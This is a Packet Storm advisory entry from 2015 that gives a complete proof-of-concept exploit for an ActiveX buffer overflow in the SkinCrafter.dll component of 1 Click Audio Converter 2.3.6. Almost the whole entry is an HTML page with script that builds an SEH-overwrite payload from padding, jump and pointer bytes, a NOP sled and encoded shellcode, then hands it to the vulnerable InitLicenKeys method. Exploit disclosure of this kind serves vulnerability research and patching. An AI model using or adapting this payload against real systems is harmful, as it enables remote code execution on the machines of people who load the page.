1 Click Audio Converter 2.3.6 Buffer Overflow

2015-06-05T00:00:00
ID PACKETSTORM:132174
Type packetstorm
Reporter metacom
Modified 2015-06-05T00:00:00

Description

                                        
                                            `<html>  
<br>1 Click Audio Converter Activex Buffer Overflow</br>  
<br>Affected version=2.3.6</br>  
<br>Vendor Homepage:http://www.dvdvideotool.com/index.htm</br>  
<br>Software Link:www.dvdvideotool.com/1ClickAudioConverter.exe</br>  
<br>The vulnerability lies in the COM component used by the product SkinCrafter.dll </br>  
<br>SkinCrafter.dll version.1.9.2.0</br>  
<br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br>  
<br>Author: metacom</br>  
<!--Video Poc: http://bit.ly/1GmOAyq -->  
<object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target' ></object>  
<script >  
junk1 = "";  
while(junk1.length < 2048) junk1+="A";  
nseh = "\xeb\x06\x90\x90";  
seh = "\xD7\x51\x04\x10";  
nops= "";  
while(nops.length < 50) nops+="\x90";  
shellcode =(  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+  
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+  
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+  
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+  
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+  
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+  
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+  
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+  
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+  
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+  
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+  
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+  
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+  
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+  
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+  
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+  
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+  
"\x4e\x46\x43\x36\x42\x50\x5a");  
junk2 = "";  
while(junk2.length < 2048) junk2+="B";  
payload = junk1 + nseh + seh + nops+ shellcode + junk2;  
arg1=payload;  
arg1=arg1;  
arg2="defaultV";  
arg3="defaultV";  
arg4="defaultV";  
arg5="defaultV";  
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 );  
</script>  
</html>  
`